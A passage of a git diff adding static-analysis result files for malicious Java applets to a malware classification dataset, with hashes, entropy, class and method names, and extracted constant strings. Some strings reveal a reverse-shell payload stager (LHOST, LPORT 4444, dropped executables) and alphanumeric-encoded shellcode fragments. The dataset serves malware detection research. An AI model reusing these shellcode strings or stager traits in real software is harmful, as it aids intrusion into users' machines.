["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pN,pL,PN,pL,PJ,0L,PZ,0n,pJ,HU,Pw,pW,pW,p8,kS,0Y,yy,lE,Pe,P5,PS,oe,4Y,1F,Pg,pW,p7,pP,xV,ln,kC,pD,LL,KB,Pe,Ln,ML,K2,HW,xZ,Ks,9n,kW,0p,4L,Mw,0q,ll,KU,85,lL,K9,gr,Jt,DQ,IZ,HL,O3,07,pW,pk,Rk,IC,Xb,O0,nW,p7,p0,hp,uP,r2,LP,mR,tK,Ot,Vl,KK,XK,Xs,Iu,Pw,pU,PL,Ky,G1,Wk,0W,Os,0P,uK,Jw,7V,7c,wM,Pg,Ow,p2,Uk,Jn,kJ,OQ,OP,3k,yk,1z,L3,47,qe,Pg,pn,kY,Ls,ap,R1,Ce,8U,TC,1w,pS,0K,OP,VD,LQ,Jr,yV,1C,bN,k3,2B,sw,3O,pg,Ku,PR,Uk,Jm,Q3,KK,Lv,NE,5d,83,UQ,eS,3M,Sz,KT,Hm,Yu,Sk,wQ,SD,D6,NS,Up,x3,Uo,6c,sw,x3,0C,kO,zK,qv,dP,0M,Xa,UW,p5,ck,pP,PP,PB,sb,wv,0i,oV,6f,pO,sj,Xw,pt,5U,VC,ZE,Qs,cK,OQ,FC,43,jF,9N,cJ,bW,tQ,Qm,P7,JW,pQ,eM,dK,Ob,v7,xr,qQ,FL,Ka,e7,LN,k2,Tf,NQ,hV,c8,uP,Vl,K2,VG,P3,3K,E6,Sy,Yq,Y7,1l,ms,3o,5p,3y,KV,oO,Nd,PT,zj,v1,dw,xO,1X,Kt,Me,SY,JQ,PZ,KL,1g,KW,oa,eY,wq,Nl,K3,nW,TD,CK,mE,6N,k6,lb,kn,kc,n5,Ls,3K,ml,K6,dL,Kc,3J,el,kq,N0,YO,3Y,xI,oK,NK,OK,On,nr,nT,NX,ll,XK,No,zF,n1,nn,8z,Bt,37,CK,zL,Jq,Kt,vT,ZF,Op,pp,x0,e1,hB,KS,0P,hs,DP,tp,pv,ZV,Ot,or,CE,1t,40,fP,lP,o3,GC,UC,BS,QP,rp,tD,nr,Cp,or,MV,OR,Ns,U3,G0,s6,Or,M3,QP,rc,SC,XF,NC,XP,tP,mB,Lt,o0,nd,pT,p5,hf,Qd,pe,f0,2V,PV,Qd,se,aF,XP,rV,Pv,Tv,PF,Y0,JV,P0,bP,04,pv,PF,VP,0T,qR,rp,fu,ft,uP,e1,rv,Ra,tW,GS,gP,fg,Gq,vt,xd,tV,T1,td,yr,xS,R0,0C,UT,r4,pU,iS,QV,PR,yu,6r,BV,UF,VS,TQ,rE,60,a1,Jv,Pv,Qt,pv,Pe,6v,PT,wt,p5,PU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c598933840cade6f0aef0b7b8edffbdf865fdffc", "file_name": "java_malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a", "_id": "a4f8acf8-baf3-4c25-938b-f6dafb54517d", "score": 0, "entropy": 5.9845412030120695, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3132, "ssdeep": "48:4vVk0yFloMPUOyh2Y6dhuzY2qIH5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlLPTyhic8wRxC92XQjt9bKsCn", "sha256": "05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a", "md5": "21b6f4adf212f8eb4209f51bbe30c579", "parent_sha256": "05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d.results b/java_classification/data/malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d.results new file mode 100755 index 0000000..2555f8d --- /dev/null +++ b/java_classification/data/malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "OSrAfQWThe/SHLeanN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "69cf2b21-cf6c-4c61-822e-f8655a93fa4b", "verbose": {"java": {"constant strings": ["OSrAfQWThe.SHLeanN", ".class", "/OSrAfQWThe.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "OSrAfQWThe.dat", "URL", "", "https:", "OSrAfQWThe/SHLeanNTrustManager.class", "SHLeanNTrustManager.class", "AESPassword", "OSrAfQWThe/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "OSrAfQWThe.SHLeanNTrustManager", "useFor", "java.net.URLConnection", "OSrAfQWThe.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "SHLeanN -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec3875f662df3dc89760a299072b9ed9ea95403f", "file_name": "java_malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d", "_id": "69cf2b21-cf6c-4c61-822e-f8655a93fa4b", "score": 0, "entropy": 6.141318713047834, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMPDUBk+Ws2GThmYyIxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1ttkmtmkyNvpvUrKYvCkgHzbDrDF", "sha256": "05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d", "md5": "8ab3d1d38d501baf78ba8fec609cab7c", "parent_sha256": "05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c.results b/java_classification/data/malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c.results new file mode 100755 index 0000000..936ea8a --- /dev/null +++ b/java_classification/data/malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "XQDODV.java", "class_name": "hhIji/XQDODV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "kWfVWtw", "BodFzDax", "xXVBwx", "VdJiGyZfj"], "minor_version": 0, "const_pool_count": 217}}, "_id": "6e7004b6-328d-48c2-b767-582f28fbf4ef", "verbose": {"java": {"constant strings": ["$63", "+$6!", "$6!(", "($6!", "&6$!$6", "6!#!6=", "?!6#!6#"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7824b938ce3b1be319723515b962d348111773b7", "file_name": "java_malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c", "_id": "6e7004b6-328d-48c2-b767-582f28fbf4ef", "score": 0, "entropy": 5.571866413721327, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3478, "ssdeep": "96:PfEM7rpFlpfLac2oi0jm9A/ips7YWWlhd126PiYo:PfbrLlpzacl6WYix", "sha256": "06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c", "md5": "03832e8313f1f443c57e96c0cb918546", "parent_sha256": "06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63.results b/java_classification/data/malicious/062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63.results new file mode 100755 index 0000000..4fc4e0a --- /dev/null +++ b/java_classification/data/malicious/062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/dwrwbjyhllzu", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "taddhnwrkj", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "3e835509-5eef-4e83-814e-baf58b7c1386", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c95cbedc49db19b7a1d8e055b5b16523c2ee5512", "file_name": "java_malicious/062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63", "_id": "3e835509-5eef-4e83-814e-baf58b7c1386", "score": 0, "entropy": 5.198411676814241, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6913, "ssdeep": "96:KMHikYI+4tjyW1l1x2Kdo8po2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TC7I+2Rl1Ampoxhi/To55UTYwa5hGX1", "sha256": "062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63", "md5": "c81ab885525076c8935001c98f162f72", "parent_sha256": "062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63"}} \ No newline at end of file diff --git a/java_classification/data/malicious/07ac144f1ce087c996b342c1403abb6c8a71c0104fca6a64006770f0843838f9.results b/java_classification/data/malicious/07ac144f1ce087c996b342c1403abb6c8a71c0104fca6a64006770f0843838f9.results new file mode 100755 index 0000000..43e9b02 --- /dev/null +++ b/java_classification/data/malicious/07ac144f1ce087c996b342c1403abb6c8a71c0104fca6a64006770f0843838f9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "H", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "C", "ALLATORI_DEMO"], "minor_version": 0, "const_pool_count": 127}}, "_id": "2b511c20-7a29-4352-bb5d-d5b8d804475d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "6f44fef2d766ac19c925050837635aeae8555ed1", "file_name": "java_malicious/07ac144f1ce087c996b342c1403abb6c8a71c0104fca6a64006770f0843838f9", "_id": "2b511c20-7a29-4352-bb5d-d5b8d804475d", "score": 0, "entropy": 5.432837185607799, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6692, "ssdeep": "96:kVfUSHkDOcTDBN2ZlCbPsOwgQcvx7OhUIL0m:kijDOcBN2ZlCzsOlQWxiUQV", "sha256": "07ac144f1ce087c996b342c1403abb6c8a71c0104fca6a64006770f0843838f9", "md5": "e2112f26d69e78c0bcbc8376eeef37d0", "parent_sha256": "07ac144f1ce087c996b342c1403abb6c8a71c0104fca6a64006770f0843838f9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0846b80081526e927ff4f773ba543ba926d0f9a50c797518074b398a246e495b.results b/java_classification/data/malicious/0846b80081526e927ff4f773ba543ba926d0f9a50c797518074b398a246e495b.results new file mode 100755 index 0000000..044b538 --- /dev/null +++ b/java_classification/data/malicious/0846b80081526e927ff4f773ba543ba926d0f9a50c797518074b398a246e495b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/wsshvntsenuwajehdujlchpms", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["jvsamhqyvgekftsj", ""], "minor_version": 0, "const_pool_count": 246}}, "_id": "36d969c1-4b5f-4c7c-b3ac-11699538b3fa", "verbose": {"java": {"constant strings": ["\\x11\\x0eE\\x02\\x19\\r\\x03\\x0c\\rV", "%Rf\\x1dd\\x1fcN=\\x1f/\\x194", "L\\x17\\x1f\\x03\\x16T", "\\x1a7N7NmNm\\x1bd\\x1bfJgKb\\x1em\\x19`K0JdM6\\x190\\x104\\x1f3KlKbI7\\x1fe\\x1d3\\x1dfMb\\x1e4\\x19c\\x183\\x11`Mb\\x18c\\x1b1\\x1elJ1M6\\x1e3\\x1f6L`MdJ7\\x1c`\\x1fb\\x10mMmId\\x1ab\\x1ec\\x1cl\\x100K1L7I0\\x1f7\\x194\\x1d6\\x103\\x1fe\\x100\\x1a6Ja\\x186\\x191\\x1ca\\x1elI1J1J`\\x1ae\\x1df\\x18gL6\\x1d7\\x1b6\\x1f`\\x11bL4\\x1flJdM`Ka\\x1e`\\x106Kl\\x1c3\\x1f7\\x1b1\\x1e`\\x1afI0\\x1emIf\\x1b0\\x1caLeJlNeL1L1\\x1daK3N6\\x1ddI1\\x19fMaJeKe\\x181M3Jd\\x10f\\x1cf\\x196Km\\x1dfIcIfKf\\x191\\x1c4\\x1ccJd\\x1bbKf\\x190\\x103MlJ7\\x1c6M3\\x1ed\\x1cmI7\\x10cMfI3Lf\\x10a\\x1d7\\x1c`\\x107\\x1e4\\x111\\x1el\\x1blJ0I7Md\\x1c`\\x1ecL`\\x11gMeIdIbIlKb\\x18cJ4\\x11a\\x1flN1Ne\\x11`\\x11mIl\\x19a\\x1al\\x1de\\x181\\x1bmJ4\\x11e\\x1e4\\x1ca\\x187\\x1ee\\x19c\\x19c\\x116La\\x1e6\\x1fcIf\\x1ceI0\\x1a7Lg\\x1dfMgN3\\x19a\\x1e1\\x11e\\x1dgIdJe\\x113Kf\\x19b\\x1d6\\x1a0MeKb\\x1afNl\\x1f`\\x1fg\\x1fd\\x1f1\\x1af\\x18e\\x11bMl\\x1aa\\x1cd\\x1eb\\x1e4\\x1ae\\x1b4\\x1ee\\x1fm\\x10e\\x19d\\x18fN7L4\\x1f4\\x1a7Kd\\x183\\x1em\\x10c\\x1a3\\x1be\\x1flM6Lg\\x1cl\\x11m\\x1e6Jl\\x1ae\\x18m\\x1b7Ig\\x1eeL0K7Ja\\x11`\\x10eK0\\x1c7N`\\x1af\\x10d\\x116\\x10b\\x1dfIdJeLl\\x113\\x1b6\\x19d\\x1agIg\\x1bm\\x1cb\\x114\\x186L7JaN0Id\\x1e0IbIe\\x1e0\\x1amJ0\\x1e7J4\\x1c6\\x18a\\x1a0\\x1c6K1Nl\\x11a\\x104\\x101\\x1ea\\x1fm\\x1d3N4\\x1af\\x18m\\x1ab\\x1d0\\x1c6Nd\\x1e7\\x1alNm\\x114\\x18a\\x1cf\\x1b7\\x1fl\\x1bm\\x1bm\\x1a1\\x1cc\\x18gL0\\x1cc\\x1edJd\\x19bL`\\x1fe\\x10g\\x1dc\\x187JdL7I7L4Je\\x196M7Kg\\x1d4NgNbNlI1\\x1f`\\x1cgJ7\\x103\\x19e\\x1dgJb\\x1f1KcI1KgNm\\x1ad\\x19fN4\\x1b4JmNcMlN6Ll\\x1a3\\x181\\x1cd\\x180\\x19gJdLd\\x10b\\x1faIa\\x10aK4\\x180\\x19l\\x18`J3I7\\x18e\\x1a3\\x1c4Le\\x100\\x1bd\\x10b\\x104L`K0\\x1fe\\x1c0L1\\x10eKgM6Jm\\x1c1\\x1f0MlNf\\x180\\x1cdLb\\x19dMcJl\\x1caM0L4\\x1aa\\x1b4Ia\\x1e0\\x1efKa\\x113J`KeJd\\x197\\x1bm\\x11d\\x1a6\\x1ag\\x193\\x1c`N1\\x1aeK`\\x1agKg\\x10e\\x1c6\\x11c\\x103K1\\x1e4\\x1da\\x18`L6L4\\x1dbKmI1\\x11lIcKm\\x19a\\x106\\x1ag\\x1b3\\x1bgM1Ml\\x117\\x1am\\x1eeL`\\x186\\x1eeJd\\x19`J6J7KlNcMe\\x1am\\x1a3\\x10mN`\\x1da\\x116\\x1b6Md\\x19eI0\\x1b3I4J4\\x1b0N6MlK7\\x10bM3\\x19a\\x116\\x1a6\\x1a6\\x1e3\\x1d`\\x10d\\x1bgM1N4N0Kd\\x1adM4\\x1e7\\x1bg\\x1c0K4Me\\x106\\x1bdJa\\x1ef\\x19b\\x1b4NbLmI3\\x10mMe\\x10c\\x18mKg\\x1bm\\x10bJ`\\x1f0\\x1clM4\\x19l\\x1d4Kc\\x1bfJ7Kd\\x11dK7\\x1f7If\\x181\\x1ec\\x1f4J0Nb\\x18l\\x1cm\\x10fM6\\x1bm\\x10mJdM6Mm\\x10m\\x117N6I4\\x1al\\x1e6\\x1bb\\x1de\\x1c3\\x1db\\x1dlN4\\x1a`K3\\x19bL`\\x1abNgIfI1\\x1a4Kb\\x19d\\x1d0M7\\x1f3\\x1f6\\x11m\\x1d1\\x10b\\x11dJ4\\x1b4\\x1bmM0\\x10eI`J3MlK0\\x197\\x10dMl\\x1a3\\x1fm\\x100\\x1bc\\x193J6L0NbN0KaNlM6\\x190Mb\\x1e3Me\\x1f4Jd\\x1cm\\x187Md\\x1f4\\x1cd\\x1a4\\x1c0\\x1b0\\x196\\x18f\\x1cd\\x1d7N`\\x1c7\\x10mM`LeN6\\x1e6L4Ng\\x19d\\x10m\\x1a1M4N7\\x18lK6K7Na\\x1c4\\x11f\\x1b7La\\x1f4\\x11`I1\\x1cf\\x10bJf\\x1ad\\x1cf\\x1cd\\x18l\\x1cdLaMe\\x101\\x10g\\x1e1\\x19`JgJ`Ib\\x193\\x1efJm\\x1cb\\x1b7\\x1bf\\x1f7\\x1edI0\\x11m\\x101\\x1a`MfN4M0\\x1e3Il\\x1be\\x1da\\x1cg\\x10dN1\\x1fl\\x1faLm\\x1d6\\x1bg\\x10b\\x1c4\\x1e4\\x1e7\\x18b\\x1d1\\x1b7N1\\x1acIaJe\\x1ba\\x11a\\x10eKdMeJd\\x1a7Kd\\x106\\x1dg\\x181\\x1d0\\x1e4\\x19f\\x1cd\\x1df\\x1fc\\x11e\\x1f6I3\\x10bN4\\x10g\\x1c0Lb\\x107\\x186\\x1ef\\x184\\x18d\\x191NdNb\\x1dl\\x117\\x10a\\x1b1Km\\x1c1M0MmJe\\x1c`\\x1bl\\x1deN0\\x10`\\x10aK3L`\\x114L7\\x1c3\\x113I3\\x1d4\\x1f`MmI6\\x1b4Nc\\x1bl\\x1c6Ma\\x1ab\\x11d\\x1e6\\x196\\x19mL7J1\\x19e\\x11eK6\\x1de\\x1egJm\\x1ab\\x1f6\\x1ba\\x1faId\\x18cNcLm\\x1a0\\x1c0Ld\\x1e6\\x194\\x1d3\\x11l\\x113\\x11e\\x11`\\x1f`Jc\\x19e\\x1a7\\x1cd\\x1c1\\x194Mf\\x1c0\\x1ed\\x1d0\\x1b0\\x1elL3Na\\x1fm\\x1f`JgLbKlK7\\x1afIl\\x1cf\\x1cfJdId\\x10gM7I0\\x111Ie\\x116KdMeK0\\x1bb\\x184\\x183\\x196K0\\x1d7\\x100\\x1ba\\x1e7L3\\x11e\\x1elK7\\x1bd\\x1b1I1M1\\x18m\\x1c6I4K4Kd\\x187Jc\\x11dKmJ0\\x1b`\\x18gM0\\x1f3\\x1cb\\x1d1\\x18cJlL3\\x1d0M4\\x190\\x18c\\x183NaI6Mc\\x1b1I6\\x1fgM0\\x18`JbLfNd\\x183Lb\\x19aNmMb\\x11lNdIb\\x183\\x1c1LaL3\\x1alKg\\x1bg\\x1b3I1\\x1deMm\\x18m\\x1bfN`\\x1a6\\x1acL6\\x11e\\x1am\\x19a\\x1fcKeK`\\x19c\\x1f3\\x1ea\\x18d\\x191\\x1el\\x1elKm\\x101\\x1b3\\x1cmL3JlK6\\x1fc\\x1dfLe\\x1e3\\x103J1\\x19eJ4\\x19`\\x1d`N`\\x191\\x19cIf\\x1cc\\x11eJc\\x1b6Ng\\x1f1\\x1db\\x1c0LmMfL6\\x18e\\x11cLe\\x196K4I1LcJ`\\x1ee\\x196\\x1fl\\x19b\\x18l\\x19a\\x1c`NbJ4\\x1c4\\x1bc\\x10eJmK7\\x1aeK6\\x1fl\\x1bb\\x1da\\x1emN6I4\\x19cIfMg\\x1cb\\x1fg\\x11b\\x19f\\x10c\\x1da\\x1bc\\x1d6L1\\x1c3\\x19mMl\\x1ba\\x1b1\\x1ea\\x1fa\\x1d`JdJdK0\\x1ecI7\\x19m\\x1b1\\x10d\\x1fb\\x11`\\x1e`\\x1b3\\x1c`L1L0Lb\\x1bgM0\\x1e0\\x1e6\\x1c0NeK3\\x180\\x18`\\x19cIgIlL3\\x186\\x193\\x18g\\x11a\\x11b\\x186KfL1LlNmLaIf\\x1b4K1L0I6\\x1e1\\x1ef\\x1el\\x1b1\\x10`Ia\\x1egJc\\x1c3N7MlJaIcI0Nb\\x1ac\\x10`\\x18b\\x1afJgJd\\x11bM7\\x1cd\\x1al\\x1em\\x1eg\\x10fJaK0N`Jd\\x1df\\x1b1\\x1ecLc\\x1a4Jm\\x1bmK3\\x1af\\x1cf\\x1a0\\x1e3LeIa\\x11`\\x191K7Je\\x1d7\\x1c0\\x191\\x100M3J4\\x1ca\\x1da\\x1fmN6\\x19f\\x1cmId\\x1c7\\x1f`JlJdMe\\x181\\x190J7\\x18m\\x10g\\x1eeJbN7\\x1e7\\x1af\\x186J7\\x106\\x181IbMfJ7M6\\x11eM`Id\\x1f1\\x18d\\x11g\\x1ae\\x1f0\\x183L6Id\\x181\\x116MdNdMm\\x18eM6K7\\x1amMm\\x1dg\\x1bl\\x10eNlMe\\x1ca\\x1cf\\x1f1K3\\x18gNl\\x1af\\x1d3K7\\x1e4\\x19b\\x101\\x1a6I3Ig\\x103Ie\\x1ba\\x1bg\\x101\\x186\\x1ef\\x190Lg\\x18b\\x1dl\\x1ba\\x196\\x1f7\\x1e3\\x1bb\\x106\\x10mJ4\\x1flMd\\x1a`\\x1edI`\\x113\\x1d3\\x1b6\\x1f0\\x113I7J`I`\\x1ee\\x180\\x104\\x1f7M1\\x1e7L4", "\\x1c\\x0e", "N!_#J0_1M7\\\\0\\x196\\x103]\\'\\x1baZ\\'\\x1a=", "BTAV", "1\\x1eg^8\\x107\\x19\\'\\x18?\\x18>", "\\x03\\x04\\x12", "[ Z;@c^8", "REW", "$\\x19g\\x1b;[2J=Lm", "\\x19A\\x0b\\r\\x1aC\\x0b", "\\x1a`NfMfJf\\x1al\\x1aeJe\\x104\\x1ab\\x1db\\x11eImJ`\\x1caKm\\x1b0\\x10f\\x11cN0\\x1be\\x19b\\x196Jl\\x1be\\x1c4\\x1d3LlNl\\x1c7\\x1f3\\x1b0JcMg\\x19m\\x1ad\\x100J4N3\\x181\\x1abNgJbNd\\x1eg\\x1bf\\x183KgKm\\x11dNb\\x1am", "\\x12\\x08\\x0c\\x0e\\x15\\t", "\\x1aaM3N7Je\\x1b3\\x1aaJlK1\\x1bm\\x1cfL`NmI1\\x1cdL6\\x1eeJ1\\x10dMl\\x1a7\\x191\\x1d6J1\\x1bb\\x1c4\\x1f7KgJ`\\x1cd\\x1eb\\x184JfJc\\x1bm\\x1a1\\x101", "\\x03\\x0e\\x17\\r\\x19\\x16", "cZbM0J#Jm\\x1e=[f", "\\x16LT\\x16P@\\n\\x0eTG\\x02\\x12\\x13\\x15\\x13\\x13\\x05\\x01\\x14\\x1e\\x01\\x07\\x07\\x0e\\r\\x18\\x19D\\x12", "\\x1fd\\x1bb\\x1bd", "FU\\x12S\\x11S\\x16SFYFP\\x16PL\\x01FWAWMP\\x15X\\x16U@T\\x17XG\\x05LSMV\\x12\\x05GPEWE\\x03\\x16YGP@\\x01A\\x06\\x10Y\\x12Y@\\x02C\\x06G\\x05\\x16V\\x11REXFQL\\x05\\x16\\x01\\x12\\x06D\\x04FW\\x12R\\x16W\\x12QBRGSD\\x06\\x17R\\x17XMQ\\x12WFX", "N=P;I<", "FR\\x12R\\x11S\\x11\\x01FPG\\x02", "I!X-G7^\"Z E4", "Q\\x04\\x14\\x03Q", "\\'\\x1c0B%F/\\x1b#J9]!Mf[#R&", "\\x15V\\x07U\\x05\\x10G\\x06\\x13X\\x0e\\x17E\\x0eE\\x11\\x10\\x14F\\x04", "3\\x1f#\\x1d4_\"", "FX\\x11Y\\x11\\x04\\x16YFSG\\x06\\x16SMQF\\x03AXMV\\x15\\x01\\x15QA\\x01\\x10TG\\x02MTM\\x01\\x11\\x02F\\x02D\\x05EU\\x16SF\\x02A\\x01AS\\x17\\x01\\x11QCWCPF\\x03\\x16R\\x16TG\\x06GS\\x16P\\x16\\x06\\x11TD\\x06F\\x03\\x10WL\\x06\\x12YCPGUDV\\x17U\\x10T\\x15\\x05\\x11WFT@VEX\\x17RGW", ">Z#L>^0[&I2", "FV\\x12S\\x12\\x02\\x10SF\\x04FW\\x16X\\x17RGV", "4J,E&G=", "FY\\x12T\\x11V\\x12PE\\x04G\\x06\\x15X\\x10XFV", "M:Y2", "\\x0e\\x16\\x04\\x14\\x16\\x14\\x06\\x08\\x05\\n\\x13W\\x19UL\\r\\x13\\x0b\\x05\\x02", "\\x1f;Rg", "\\x04\\x11DR\\x05\\n\\x11T\\x06\\x08\\x19\\x0eF\\x17DW\\x1f\\x05E\\x17", "1Ia[e\\x1f\"\\x10>]!Bb", "\\x11\\r\\x0c\\x0eVLV\\rV\\x1a\\x0e\\x15\\x12\\x0e\\x15\\x10P\\x1c\\x01", "4Z,", "\\x01\\x02BT\\x19\\x19", "6E\\'Ne", "\\x13\\x01X\\x07\\x0b\\x12\\x0bB\\x11\\x17\\x05\\x1f\\x12\\x16XD\\x05\\x10\\x06\\x16\\x13A\\x16\\xc0\\x80\\x19", "Z%\\x1c9\\x1e4BdN2Jf"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e5e8b367d44585c17edb4fab5c0747f851101320", "file_name": "java_malicious/0846b80081526e927ff4f773ba543ba926d0f9a50c797518074b398a246e495b", "_id": "36d969c1-4b5f-4c7c-b3ac-11699538b3fa", "score": 0, "entropy": 6.423581781145398, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6215, "ssdeep": "96:lL5gU8uNmHhI2lwGTWOUttZp6Fldme36dmGPVS5uv7Zq5Rkxi+plsNv6gT2GwCr7:MUYFlwGyOUt/pQNKDAIY5Gr66N6p", "sha256": "0846b80081526e927ff4f773ba543ba926d0f9a50c797518074b398a246e495b", "md5": "485aa8d57fd67854f00f5b91fb980e41", "parent_sha256": "0846b80081526e927ff4f773ba543ba926d0f9a50c797518074b398a246e495b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7.results b/java_classification/data/malicious/08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7.results new file mode 100755 index 0000000..4c70d45 --- /dev/null +++ b/java_classification/data/malicious/08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "dae3ed69-b7eb-45b7-a5c1-0adac88c579b", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "adec0f94-7374-4315-a820-645f6b103df1", "metadata": {"mimetype": "text/plain", "sha1": "6a9216730c79ba2ce15d24dd48ccbc692530776c", "file_name": "long string 0", "_id": "adec0f94-7374-4315-a820-645f6b103df1", "score": 0, "entropy": 4.732786977221173, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1334, "ssdeep": "24:mifCRiTxdFd1aOJ865qtjdwXFkMDY6LRFVe03+J3xW7yy3w0JjWPkdPeaZNE:mB28nAXKKY6jVPmW7ykwIfE", "sha256": "504acb8fbc277bfcb11bc2dbc1ac1f90390822d8fc73c814d27f0ac0bcbd4ef7", "md5": "1ca977abca18d4d641baf7ad234d9941", "parent_sha256": "08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7"}}], "combined strings entropy": 4.775091199264371}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pn,pN,pn,pl,Pl,Pz,0L,Pj,0n,pm,8g,pu,PS,0s,08,ku,Py,yk,L7,pe,PG,p3,oc,TM,qf,Pg,pe,PU,PP,xT,LL,KQ,PD,Ll,KB,Pu,Ln,Mn,kS,XW,xJ,KW,yL,Ks,pv,Tl,MQ,PC,LL,Kp,hw,Ll,Ky,g2,Ju,TP,YM,8N,oW,pw,pu,PY,rh,yC,XP,op,n3,0U,PQ,xB,Us,BP,lR,Mp,T9,o4,VL,Kk,Xy,xp,yg,pu,PG,pl,KX,Wb,gM,PE,o7,pQ,eK,Jp,Ga,G2,gm,PE,oe,Pp,u8,zL,Kx,oq,Op,3k,yo,qh,lu,Tf,aE,Pw,pN,ky,L2,qc,bf,3a,xu,TU,QE,P7,pI,o2,vT,Lc,jP,YP,QS,bL,Ke,RR,sq,Sk,0G,Ke,Pr,Uy,jM,QC,Ky,lD,n5,5b,XS,Up,uS,3O,sz,KW,xK,9S,3k,wq,SS,4f,Nr,EP,xQ,uK,va,SV,hc,03,km,ZY,QU,TP,0K,87,57,pu,ck,pf,0r,pr,sV,7P,PK,OV,6d,Po,sh,xu,PP,uW,vR,J5,Q2,sI,oS,fs,4S,jb,yL,Ck,re,TQ,QM,Pw,J7,pr,UN,TI,oP,Vu,Xb,qS,fl,KP,uu,lN,kr,TV,NT,8e,Sj,U1,FL,KC,Fg,Pt,CK,E7,Cx,Ig,9c,qL,me,SY,Up,3Y,KT,OO,NT,PV,ZY,FR,TT,HZ,aj,k4,Md,Cj,zQ,PJ,KL,1U,kw,or,UK,W